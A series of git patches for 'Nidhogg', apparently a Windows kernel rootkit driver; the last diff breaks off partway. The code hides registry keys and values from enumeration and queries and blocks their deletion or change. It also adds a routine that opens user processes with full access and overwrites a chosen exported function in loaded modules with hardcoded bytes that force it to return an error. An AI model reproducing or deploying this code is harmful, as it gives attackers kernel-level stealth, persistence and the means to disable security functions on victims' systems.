+* RegNtPreDeleteValueKeyHandler is responsible for handling registry value deletion and block it for protected registry values.
+*
+* Parameters:
+* @info [REG_DELETE_VALUE_KEY_INFORMATION*] -- Contains important information such as key path, value name, key object, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether the operation was successful or not.
+*/
NTSTATUS RegNtPreDeleteValueKeyHandler(REG_DELETE_VALUE_KEY_INFORMATION* info) {
RegItem regItem;
PCUNICODE_STRING regPath;
@@ -126,6 +158,16 @@ NTSTATUS RegNtPreDeleteValueKeyHandler(REG_DELETE_VALUE_KEY_INFORMATION* info) {
return status;
}
+/*
+* Description:
+* RegNtPreQueryKeyHandler is responsible for handling registry key query and block it for hidden registry keys.
+*
+* Parameters:
+* @info [REG_QUERY_KEY_INFORMATION*] -- Contains important information such as key path, key object, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether the operation was successful or not.
+*/
NTSTATUS RegNtPreQueryKeyHandler(REG_QUERY_KEY_INFORMATION* info) {
RegItem regItem;
PCUNICODE_STRING regPath;
@@ -160,6 +202,16 @@ NTSTATUS RegNtPreQueryKeyHandler(REG_QUERY_KEY_INFORMATION* info) {
return status;
}
+/*
+* Description:
+* RegNtPreQueryValueKeyHandler is responsible for handling registry value query and block it for hidden registry values.
+*
+* Parameters:
+* @info [REG_QUERY_VALUE_KEY_INFORMATION*] -- Contains important information such as key path, value name, key object, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether the operation was successful or not.
+*/
NTSTATUS RegNtPreQueryValueKeyHandler(REG_QUERY_VALUE_KEY_INFORMATION* info) {
RegItem regItem;
PCUNICODE_STRING regPath;
@@ -195,6 +247,16 @@ NTSTATUS RegNtPreQueryValueKeyHandler(REG_QUERY_VALUE_KEY_INFORMATION* info) {
return status;
}
+/*
+* Description:
+* RegNtPreQueryMultipleValueKeyHandler is responsible for handling registry multiple value query and block it for hidden registry values.
+*
+* Parameters:
+* @info [REG_QUERY_MULTIPLE_VALUE_KEY_INFORMATION*] -- Contains important information such as key path, values list, key object, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether the operation was successful or not.
+*/
NTSTATUS RegNtPreQueryMultipleValueKeyHandler(REG_QUERY_MULTIPLE_VALUE_KEY_INFORMATION* info) {
ULONG index;
RegItem regItem;
@@ -237,6 +299,16 @@ NTSTATUS RegNtPreQueryMultipleValueKeyHandler(REG_QUERY_MULTIPLE_VALUE_KEY_INFOR
return status;
}
+/*
+* Description:
+* RegNtPreSetValueKeyHandler is responsible for handling registry value modify operation and block it for protected registry values.
+*
+* Parameters:
+* @info [REG_SET_VALUE_KEY_INFORMATION*] -- Contains important information such as key path, value name, key object, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether the operation was successful or not.
+*/
NTSTATUS RegNtPreSetValueKeyHandler(REG_SET_VALUE_KEY_INFORMATION* info) {
RegItem regItem;
PCUNICODE_STRING regPath;
@@ -272,6 +344,16 @@ NTSTATUS RegNtPreSetValueKeyHandler(REG_SET_VALUE_KEY_INFORMATION* info) {
return status;
}
+/*
+* Description:
+* RegNtPostEnumerateKeyHandler is responsible for handling registry key enumeration and hide the protected registry keys.
+*
+* Parameters:
+* @info [REG_POST_OPERATION_INFORMATION*] -- Contains important information such as keys list, keys objects, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether the operation was successful or not.
+*/
NTSTATUS RegNtPostEnumerateKeyHandler(REG_POST_OPERATION_INFORMATION* info) {
HANDLE key;
PVOID tempKeyInformation;
@@ -377,6 +459,16 @@ NTSTATUS RegNtPostEnumerateKeyHandler(REG_POST_OPERATION_INFORMATION* info) {
return STATUS_SUCCESS;
}
+/*
+* Description:
+* RegNtPostEnumerateValueKeyHandler is responsible for handling registry value enumeration and hide the protected registry values.
+*
+* Parameters:
+* @info [REG_POST_OPERATION_INFORMATION*] -- Contains important information such as keys list, keys objects, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether the operation was successful or not.
+*/
NTSTATUS RegNtPostEnumerateValueKeyHandler(REG_POST_OPERATION_INFORMATION* info) {
HANDLE key;
PVOID tempValueInformation;
@@ -476,6 +568,18 @@ NTSTATUS RegNtPostEnumerateValueKeyHandler(REG_POST_OPERATION_INFORMATION* info)
return STATUS_SUCCESS;
}
+/*
+* Description:
+* GetNameFromValueEnumPreInfo is responsible for getting the value name from the key value information.
+*
+* Parameters:
+* @infoClass [KEY_VALUE_INFORMATION_CLASS] -- Contains the type of key value infromation.
+* @information [PVOID] -- Contains the information itself.
+* @valueName [PUNICODE_STRING] -- The value name will be written there.
+*
+* Returns:
+* @status [bool] -- Whether the operation was successful or not.
+*/
bool GetNameFromValueEnumPreInfo(KEY_VALUE_INFORMATION_CLASS infoClass, PVOID information, PUNICODE_STRING valueName) {
switch (infoClass) {
case KeyValueBasicInformation:
@@ -501,6 +605,18 @@ bool GetNameFromValueEnumPreInfo(KEY_VALUE_INFORMATION_CLASS infoClass, PVOID in
return true;
}
+/*
+* Description:
+* GetNameFromKeyEnumPreInfo is responsible for getting the key name from the key information.
+*
+* Parameters:
+* @infoClass [KEY_VALUE_INFORMATION_CLASS] -- Contains the type of the key infromation.
+* @information [PVOID] -- Contains the information itself.
+* @keyName [PUNICODE_STRING] -- The key name will be written there.
+*
+* Returns:
+* @status [bool] -- Whether the operation was successful or not.
+*/
bool GetNameFromKeyEnumPreInfo(KEY_INFORMATION_CLASS infoClass, PVOID information, PUNICODE_STRING keyName) {
switch (infoClass) {
case KeyBasicInformation:
@@ -534,6 +650,16 @@ bool GetNameFromKeyEnumPreInfo(KEY_INFORMATION_CLASS infoClass, PVOID informatio
return true;
}
+/*
+* Description:
+* FindRegItem is responsible for searching if a registry item exists in any of the registry items lists.
+*
+* Parameters:
+* @item [RegItem&] -- Registry item to search.
+*
+* Returns:
+* @status [bool] -- Whether found or not.
+*/
bool FindRegItem(RegItem& item) {
if (item.Type == REG_TYPE_PROTECTED_KEY) {
for (int i = 0; i < rGlobals.ProtectedItems.Keys.KeysCount; i++)
@@ -561,6 +687,17 @@ bool FindRegItem(RegItem& item) {
return false;
}
+/*
+* Description:
+* ContainsProtectedRegKey is responsible for searching if a registry item is contained inside any registry items lists.
+*
+* Parameters:
+* @regKey [UNICODE_STRING] -- Registry item to search.
+* @type [int] -- Type of the registry item.
+*
+* Returns:
+* @status [bool] -- Whether found or not.
+*/
bool ContainsProtectedRegKey(UNICODE_STRING regKey, int type) {
if (type == REG_TYPE_PROTECTED_KEY) {
for (int i = 0; i < rGlobals.ProtectedItems.Keys.KeysCount; i++) {
@@ -590,6 +727,16 @@ bool ContainsProtectedRegKey(UNICODE_STRING regKey, int type) {
return false;
}
+/*
+* Description:
+* AddRegItem is responsible for adding a registry item to the list of protected registry items.
+*
+* Parameters:
+* @item [RegItem&] -- Registry item to add.
+*
+* Returns:
+* @status [bool] -- Whether successfully added or not.
+*/
bool AddRegItem(RegItem& item) {
if (item.Type == REG_TYPE_PROTECTED_KEY) {
for (int i = 0; i < MAX_REG_ITEMS; i++)
@@ -688,6 +835,16 @@ bool AddRegItem(RegItem& item) {
return false;
}
+/*
+* Description:
+* RemoveRegItem is responsible for remove a registry item from the list of protected registry items.
+*
+* Parameters:
+* @item [RegItem&] -- Registry item to remove.
+*
+* Returns:
+* @status [bool] -- Whether successfully removed or not.
+*/
bool RemoveRegItem(RegItem& item) {
if (item.Type == REG_TYPE_PROTECTED_KEY) {
for (int i = 0; i < rGlobals.ProtectedItems.Keys.KeysCount; i++) {
diff --git a/Nidhogg/WindowsTypes.h b/Nidhogg/WindowsTypes.h
new file mode 100644
index 0000000..a33cc79
--- /dev/null
+++ b/Nidhogg/WindowsTypes.h
@@ -0,0 +1,197 @@
+#pragma once
+
+// Documented.
+#define IMAGE_DOS_SIGNATURE 0x5A4D
+#define IMAGE_NT_SIGNATURE 0x00004550
+
+#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
+
+#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory
+#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory
+#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory
+#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory
+#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory
+#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table
+#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory
+#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data
+
+#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP
+#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory
+#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory
+#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers
+#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table
+#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors
+#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor
+
+typedef unsigned long DWORD;
+typedef unsigned short WORD;
+typedef unsigned char BYTE;
+
+typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
+ WORD e_magic; // Magic number
+ WORD e_cblp; // Bytes on last page of file
+ WORD e_cp; // Pages in file
+ WORD e_crlc; // Relocations
+ WORD e_cparhdr; // Size of header in paragraphs
+ WORD e_minalloc; // Minimum extra paragraphs needed
+ WORD e_maxalloc; // Maximum extra paragraphs needed
+ WORD e_ss; // Initial (relative) SS value
+ WORD e_sp; // Initial SP value
+ WORD e_csum; // Checksum
+ WORD e_ip; // Initial IP value
+ WORD e_cs; // Initial (relative) CS value
+ WORD e_lfarlc; // File address of relocation table
+ WORD e_ovno; // Overlay number
+ WORD e_res[4]; // Reserved words
+ WORD e_oemid; // OEM identifier (for e_oeminfo)
+ WORD e_oeminfo; // OEM information; e_oemid specific
+ WORD e_res2[10]; // Reserved words
+ LONG e_lfanew; // File address of new exe header
+} IMAGE_DOS_HEADER, * PIMAGE_DOS_HEADER;
+
+typedef struct _IMAGE_FILE_HEADER {
+ WORD Machine;
+ WORD NumberOfSections;
+ DWORD TimeDateStamp;
+ DWORD PointerToSymbolTable;
+ DWORD NumberOfSymbols;
+ WORD SizeOfOptionalHeader;
+ WORD Characteristics;
+} IMAGE_FILE_HEADER, * PIMAGE_FILE_HEADER;
+
+typedef struct _IMAGE_DATA_DIRECTORY {
+ ULONG VirtualAddress;
+ ULONG Size;
+} IMAGE_DATA_DIRECTORY, * PIMAGE_DATA_DIRECTORY;
+
+typedef struct _IMAGE_EXPORT_DIRECTORY {
+ DWORD Characteristics;
+ DWORD TimeDateStamp;
+ WORD MajorVersion;
+ WORD MinorVersion;
+ DWORD Name;
+ DWORD Base;
+ DWORD NumberOfFunctions;
+ DWORD NumberOfNames;
+ DWORD AddressOfFunctions; // RVA from base of image
+ DWORD AddressOfNames; // RVA from base of image
+ DWORD AddressOfNameOrdinals; // RVA from base of image
+} IMAGE_EXPORT_DIRECTORY, * PIMAGE_EXPORT_DIRECTORY;
+
+typedef struct _IMAGE_OPTIONAL_HEADER {
+ WORD Magic;
+ BYTE MajorLinkerVersion;
+ BYTE MinorLinkerVersion;
+ DWORD SizeOfCode;
+ DWORD SizeOfInitializedData;
+ DWORD SizeOfUninitializedData;
+ DWORD AddressOfEntryPoint;
+ DWORD BaseOfCode;
+ ULONGLONG ImageBase;
+ DWORD SectionAlignment;
+ DWORD FileAlignment;
+ WORD MajorOperatingSystemVersion;
+ WORD MinorOperatingSystemVersion;
+ WORD MajorImageVersion;
+ WORD MinorImageVersion;
+ WORD MajorSubsystemVersion;
+ WORD MinorSubsystemVersion;
+ DWORD Win32VersionValue;
+ DWORD SizeOfImage;
+ DWORD SizeOfHeaders;
+ DWORD CheckSum;
+ WORD Subsystem;
+ WORD DllCharacteristics;
+ ULONGLONG SizeOfStackReserve;
+ ULONGLONG SizeOfStackCommit;
+ ULONGLONG SizeOfHeapReserve;
+ ULONGLONG SizeOfHeapCommit;
+ DWORD LoaderFlags;
+ DWORD NumberOfRvaAndSizes;
+ IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
+} IMAGE_OPTIONAL_HEADER, * PIMAGE_OPTIONAL_HEADER;
+
+typedef struct _FULL_IMAGE_NT_HEADERS {
+ DWORD Signature;
+ IMAGE_FILE_HEADER FileHeader;
+ IMAGE_OPTIONAL_HEADER OptionalHeader;
+} FULL_IMAGE_NT_HEADERS, * PFULL_IMAGE_NT_HEADERS;
+
+// Undocumented.
+struct _OBJECT_TYPE_INITIALIZER_TEMP
+{
+ USHORT Length; //0x0
+ union
+ {
+ USHORT ObjectTypeFlags; //0x2
+ struct
+ {
+ UCHAR CaseInsensitive : 1; //0x2
+ UCHAR UnnamedObjectsOnly : 1; //0x2
+ UCHAR UseDefaultObject : 1; //0x2
+ UCHAR SecurityRequired : 1; //0x2
+ UCHAR MaintainHandleCount : 1; //0x2
+ UCHAR MaintainTypeList : 1; //0x2
+ UCHAR SupportsObjectCallbacks : 1; //0x2
+ UCHAR CacheAligned : 1; //0x2
+ UCHAR UseExtendedParameters : 1; //0x3
+ UCHAR Reserved : 7; //0x3
+ };
+ };
+ ULONG ObjectTypeCode; //0x4
+ ULONG InvalidAttributes; //0x8
+ struct _GENERIC_MAPPING GenericMapping; //0xc
+ ULONG ValidAccessMask; //0x1c
+ ULONG RetainAccess; //0x20
+ enum _POOL_TYPE PoolType; //0x24
+ ULONG DefaultPagedPoolCharge; //0x28
+ ULONG DefaultNonPagedPoolCharge; //0x2c
+ VOID(*DumpProcedure)(VOID* arg1, struct _OBJECT_DUMP_CONTROL* arg2); //0x30
+ LONG(*OpenProcedure)(enum _OB_OPEN_REASON arg1, CHAR arg2, struct _EPROCESS* arg3, VOID* arg4, ULONG* arg5, ULONG arg6); //0x38
+ VOID(*CloseProcedure)(struct _EPROCESS* arg1, VOID* arg2, ULONGLONG arg3, ULONGLONG arg4); //0x40
+ VOID(*DeleteProcedure)(VOID* arg1); //0x48
+ union
+ {
+ LONG(*ParseProcedure)(VOID* arg1, VOID* arg2, struct _ACCESS_STATE* arg3, CHAR arg4, ULONG arg5, struct _UNICODE_STRING* arg6, struct _UNICODE_STRING* arg7, VOID* arg8, struct _SECURITY_QUALITY_OF_SERVICE* arg9, VOID** arg10); //0x50
+ LONG(*ParseProcedureEx)(VOID* arg1, VOID* arg2, struct _ACCESS_STATE* arg3, CHAR arg4, ULONG arg5, struct _UNICODE_STRING* arg6, struct _UNICODE_STRING* arg7, VOID* arg8, struct _SECURITY_QUALITY_OF_SERVICE* arg9, struct _OB_EXTENDED_PARSE_PARAMETERS* arg10, VOID** arg11); //0x50
+ };
+ LONG(*SecurityProcedure)(VOID* arg1, enum _SECURITY_OPERATION_CODE arg2, ULONG* arg3, VOID* arg4, ULONG* arg5, VOID** arg6, enum _POOL_TYPE arg7, struct _GENERIC_MAPPING* arg8, CHAR arg9); //0x58
+ LONG(*QueryNameProcedure)(VOID* arg1, UCHAR arg2, struct _OBJECT_NAME_INFORMATION* arg3, ULONG arg4, ULONG* arg5, CHAR arg6); //0x60
+ UCHAR(*OkayToCloseProcedure)(struct _EPROCESS* arg1, VOID* arg2, VOID* arg3, CHAR arg4); //0x68
+ ULONG WaitObjectFlagMask; //0x70
+ USHORT WaitObjectFlagOffset; //0x74
+ USHORT WaitObjectPointerOffset; //0x76
+};
+
+struct _EX_PUSH_LOCK_TEMP
+{
+ union
+ {
+ struct
+ {
+ ULONGLONG Locked : 1; //0x0
+ ULONGLONG Waiting : 1; //0x0
+ ULONGLONG Waking : 1; //0x0
+ ULONGLONG MultipleShared : 1; //0x0
+ ULONGLONG Shared : 60; //0x0
+ };
+ ULONGLONG Value; //0x0
+ VOID* Ptr; //0x0
+ };
+};
+
+typedef struct _OBJECT_TYPE_TEMP
+{
+ struct _LIST_ENTRY TypeList; //0x0
+ struct _UNICODE_STRING Name; //0x10
+ VOID* DefaultObject; //0x20
+ UCHAR Index; //0x28
+ ULONG TotalNumberOfObjects; //0x2c
+ ULONG TotalNumberOfHandles; //0x30
+ ULONG HighWaterNumberOfObjects; //0x34
+ ULONG HighWaterNumberOfHandles; //0x38
+ struct _OBJECT_TYPE_INITIALIZER_TEMP TypeInfo; //0x40
+ struct _EX_PUSH_LOCK_TEMP TypeLock; //0xb8
+ ULONG Key; //0xc0
+ struct _LIST_ENTRY CallbackList; //0xc8
+} OBJECT_TYPE_TEMP, * POBJECT_TYPE_TEMP;
From f888bf061ae2544e78e5d7a58d101944f2fcde42 Mon Sep 17 00:00:00 2001
From: Ido Veltzman <62358580+Idov31@users.noreply.github.com>
Date: Tue, 11 Oct 2022 11:01:37 +0300
Subject: [PATCH 02/10] Added module patching
---
Nidhogg/ModuleUtils.hpp | 225 ++++++++++++++++++++++++++++++++++++++++
1 file changed, 225 insertions(+)
create mode 100644 Nidhogg/ModuleUtils.hpp
diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp
new file mode 100644
index 0000000..d800488
--- /dev/null
+++ b/Nidhogg/ModuleUtils.hpp
@@ -0,0 +1,225 @@
+#pragma once
+#include "pch.h"
+
+/*
+* Description:
+* OnImageLoad is responsible for handling any kind of loading operations and patching specific functionality if defined.
+*
+* Parameters:
+* @FullImageName [PUNICODE_STRING] -- Image's name.
+* @ProcessId [HANDLE] -- The process id of the process that performs the loading.
+* @ImageInfo [PIMAGE_INFO] -- Various information of the loaded image including if it is user mode or kernel mode, image base, etc.
+*
+* Returns:
+* There is no return value.
+*/
+void OnImageLoad(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) {
+ HANDLE hTargetProcess;
+ PEPROCESS TargetProcess;
+ ULONG oldProtection;
+ NTSTATUS status;
+ SIZE_T outBytes;
+ MEMORY_BASIC_INFORMATION memInfo = { 0 };
+ bool changeProtection = false;
+
+ // Filter only valid user space processes.
+ if (ProcessId == 0 || ImageInfo->SystemModeImage == 1 || FullImageName->Length == 0)
+ return;
+
+ if (pmGlobals.ModulesList.PatchedModulesCount == 0)
+ return;
+
+ if (dimGlobals.ZwProtectVirtualMemory == NULL)
+ return;
+
+ // Attaching to the remote process address space.
+ if (PsLookupProcessByProcessId(ProcessId, &TargetProcess) != STATUS_SUCCESS)
+ return;
+
+ AutoLock lock(pmGlobals.Lock);
+
+ for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) {
+ if (wcisstr(FullImageName->Buffer, pmGlobals.ModulesList.Modules[i].ModuleName)) {
+ PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ImageInfo->ImageBase;
+
+ // Checking that the image is valid PE file.
+ if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
+ return;
+
+ PFULL_IMAGE_NT_HEADERS ntHeaders = (PFULL_IMAGE_NT_HEADERS)((PUCHAR)ImageInfo->ImageBase + dosHeader->e_lfanew);
+
+ if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
+ return;
+
+ IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader;
+
+ if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
+ return;
+
+ // Iterating the export directory.
+ PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)ImageInfo->ImageBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
+
+ DWORD* addresses = (DWORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfFunctions);
+ WORD* ordinals = (WORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfNameOrdinals);
+ DWORD* names = (DWORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfNames);
+
+ for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) {
+ if (_stricmp((char*)((PUCHAR)ImageInfo->ImageBase + names[j]), pmGlobals.ModulesList.Modules[i].FunctionName) == 0) {
+ if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &hTargetProcess) != STATUS_SUCCESS) {
+ KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n"));
+ break;
+ }
+
+ auto patchLen = strlen((char*)pmGlobals.ModulesList.Modules[i].Patch);
+ auto functionAddress = (PVOID)((PUCHAR)ImageInfo->ImageBase + addresses[ordinals[j]]);
+
+ // Adding write permissions.
+ status = ZwQueryVirtualMemory(hTargetProcess, functionAddress, MemoryBasicInformation, &memInfo, sizeof(MEMORY_BASIC_INFORMATION), &outBytes);
+
+ if (status != STATUS_SUCCESS) {
+ KdPrint((DRIVER_PREFIX "Failed to query protection, (0x%08X).\n", status));
+ ZwClose(hTargetProcess);
+ break;
+ }
+
+ /*KdPrint((DRIVER_PREFIX "Protection of the page is - %d.\n", memInfo.AllocationProtect));
+ KdPrint((DRIVER_PREFIX "State of the page is - %d.\n", memInfo.State));
+ KdPrint((DRIVER_PREFIX "Type of the page is - %d.\n", memInfo.Type));*/
+
+ changeProtection = memInfo.AllocationProtect != PAGE_EXECUTE_WRITECOPY && memInfo.AllocationProtect != PAGE_EXECUTE_READWRITE;
+
+ if (changeProtection) {
+ status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection);
+
+ if (status != STATUS_SUCCESS) {
+ KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status));
+ ZwClose(hTargetProcess);
+ break;
+ }
+ }
+
+
+ // Patching the function.
+ SIZE_T written;
+ char patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
+
+ // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written);
+ status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), &patch[0], TargetProcess, functionAddress, 6, KernelMode, &written);
+
+ if (status != STATUS_SUCCESS)
+ KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status));
+ else
+ KdPrint((DRIVER_PREFIX "Patched function #5.\n"));
+
+ // Restoring permissions and cleaning up.
+ if (changeProtection)
+ dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection);
+
+ ZwClose(hTargetProcess);
+ KdPrint((DRIVER_PREFIX "Cleaned up #6.\n"));
+ break;
+ }
+ }
+ }
+ }
+ ObDereferenceObject(TargetProcess);
+}
+
+/*
+* Description:
+* FindModule is responsible for searching if a module exists in the list of modules that need to be patched.
+*
+* Parameters:
+* @patchedModule [PatchedModule&] -- Module's information.
+*
+* Returns:
+* @status [bool] -- Whether found or not.
+*/
+bool FindModule(PatchedModule& patchedModule) {
+ for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++)
+ if (_wcsicmp(pmGlobals.ModulesList.Modules[i].ModuleName, patchedModule.ModuleName) == 0 &&
+ _stricmp(pmGlobals.ModulesList.Modules[i].FunctionName, patchedModule.FunctionName) == 0)
+ return true;
+ return false;
+}
+
+/*
+* Description:
+* AddModule is responsible for adding a module to the list of modules that need to be patched.
+*
+* Parameters:
+* @patchedModule [PatchedModule&] -- Module to add.
+*
+* Returns:
+* @status [bool] -- Whether successfully added or not.
+*/
+bool AddModule(PatchedModule& patchedModule) {
+
+ for (int i = 0; i < MAX_PATCHED_MODULES; i++)
+ if (pmGlobals.ModulesList.Modules[i].FunctionName == nullptr) {
+ auto functionNameLen = (strlen(patchedModule.FunctionName) + 1) * sizeof(CHAR);
+ auto functionNameBuffer = (CHAR*)ExAllocatePoolWithTag(PagedPool, functionNameLen, DRIVER_TAG);
+
+ // Not enough resources.
+ if (!functionNameBuffer) {
+ break;
+ }
+
+ auto moduleNameLen = (wcslen(patchedModule.ModuleName) + 1) * sizeof(WCHAR);
+ auto moduleNameBuffer = (WCHAR*)ExAllocatePoolWithTag(PagedPool, moduleNameLen, DRIVER_TAG);
+
+ // Not enough resources.
+ if (!moduleNameBuffer) {
+ ExFreePoolWithTag(functionNameBuffer, DRIVER_TAG);
+ break;
+ }
+
+ auto patchLen = strlen((char*)patchedModule.Patch) * sizeof(UCHAR);
+ auto patchBuffer = (PUCHAR)ExAllocatePoolWithTag(PagedPool, patchLen, DRIVER_TAG);
+
+ // Not enough resources.
+ if (!patchBuffer) {
+ ExFreePoolWithTag(moduleNameBuffer, DRIVER_TAG);
+ ExFreePoolWithTag(functionNameBuffer, DRIVER_TAG);
+ break;
+ }
+
+ strcpy_s(functionNameBuffer, functionNameLen / sizeof(CHAR), patchedModule.FunctionName);
+ wcscpy_s(moduleNameBuffer, moduleNameLen / sizeof(WCHAR), patchedModule.ModuleName);
+ memcpy_s(patchBuffer, patchLen, patchedModule.Patch, patchLen);
+ pmGlobals.ModulesList.Modules[i].FunctionName = functionNameBuffer;
+ pmGlobals.ModulesList.Modules[i].ModuleName = moduleNameBuffer;
+ pmGlobals.ModulesList.Modules[i].Patch = patchBuffer;
+ pmGlobals.ModulesList.PatchedModulesCount++;
+
+ return true;
+ }
+ return false;
+}
+
+/*
+* Description:
+* RemoveModule is responsible for removing a module from the list of modules that need to be patched.
+*
+* Parameters:
+* @patchedModule [PatchedModule&] -- Module to add.
+*
+* Returns:
+* @status [bool] -- Whether successfully removed or not.
+*/
+bool RemoveModule(PatchedModule& patchedModule) {
+ for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++)
+ if (_wcsicmp(pmGlobals.ModulesList.Modules[i].ModuleName, patchedModule.ModuleName) == 0 &&
+ _stricmp(pmGlobals.ModulesList.Modules[i].FunctionName, patchedModule.FunctionName) == 0) {
+
+ ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].FunctionName, DRIVER_TAG);
+ ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].ModuleName, DRIVER_TAG);
+ ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].Patch, DRIVER_TAG);
+ pmGlobals.ModulesList.Modules[i].FunctionName = nullptr;
+ pmGlobals.ModulesList.Modules[i].ModuleName = nullptr;
+ pmGlobals.ModulesList.Modules[i].Patch = nullptr;
+ pmGlobals.ModulesList.PatchedModulesCount--;
+ return true;
+ }
+ return false;
+}
From b431e451214e2915edda666fce25f8610b5162b1 Mon Sep 17 00:00:00 2001
From: Ido Veltzman <62358580+Idov31@users.noreply.github.com>
Date: Wed, 12 Oct 2022 17:38:45 +0300
Subject: [PATCH 03/10] First failed attempt
---
Nidhogg/ModuleUtils.hpp | 437 +++++++-----
Nidhogg/Nidhogg.cpp | 77 +-
Nidhogg/Nidhogg.h | 27 +-
Nidhogg/NidhoggUtils.h | 1 +
Nidhogg/ProcessUtils.hpp | 36 +-
Nidhogg/WindowsTypes.h | 1448 ++++++++++++++++++++++++++++++++++++++
6 files changed, 1729 insertions(+), 297 deletions(-)
diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp
index d800488..2a23328 100644
--- a/Nidhogg/ModuleUtils.hpp
+++ b/Nidhogg/ModuleUtils.hpp
@@ -1,225 +1,286 @@
#pragma once
#include "pch.h"
+// Function declaration.
+PPEB_LDR_DATA GetLDRFromPEB(PPEB peb);
+PVOID GetModuleImageBase(PPEB_LDR_DATA ldr, WCHAR* moduleName);
+
/*
* Description:
-* OnImageLoad is responsible for handling any kind of loading operations and patching specific functionality if defined.
+* PatchModule is responsible for patching a certain moudle in a certain process.
*
* Parameters:
-* @FullImageName [PUNICODE_STRING] -- Image's name.
-* @ProcessId [HANDLE] -- The process id of the process that performs the loading.
-* @ImageInfo [PIMAGE_INFO] -- Various information of the loaded image including if it is user mode or kernel mode, image base, etc.
+* @ModuleToPatch [PatchedModule&] -- All the information regarding the Module that needs to be patched.
*
* Returns:
-* There is no return value.
+* @status [NTSTATUS] -- Whether successfuly patched or not.
*/
-void OnImageLoad(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) {
+NTSTATUS PatchModule(PatchedModule& ModuleToPatch) {
HANDLE hTargetProcess;
PEPROCESS TargetProcess;
ULONG oldProtection;
- NTSTATUS status;
SIZE_T outBytes;
+ PVOID moduleImageBase = NULL;
+ NTSTATUS status = STATUS_UNSUCCESSFUL;
MEMORY_BASIC_INFORMATION memInfo = { 0 };
bool changeProtection = false;
+ bool success = true;
+ LARGE_INTEGER time = { 0 };
+ time.QuadPart = -250ll * 10 * 1000; // 250 msec.
- // Filter only valid user space processes.
- if (ProcessId == 0 || ImageInfo->SystemModeImage == 1 || FullImageName->Length == 0)
- return;
-
- if (pmGlobals.ModulesList.PatchedModulesCount == 0)
- return;
-
- if (dimGlobals.ZwProtectVirtualMemory == NULL)
- return;
-
- // Attaching to the remote process address space.
- if (PsLookupProcessByProcessId(ProcessId, &TargetProcess) != STATUS_SUCCESS)
- return;
-
- AutoLock lock(pmGlobals.Lock);
-
- for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) {
- if (wcisstr(FullImageName->Buffer, pmGlobals.ModulesList.Modules[i].ModuleName)) {
- PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ImageInfo->ImageBase;
-
- // Checking that the image is valid PE file.
- if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
- return;
-
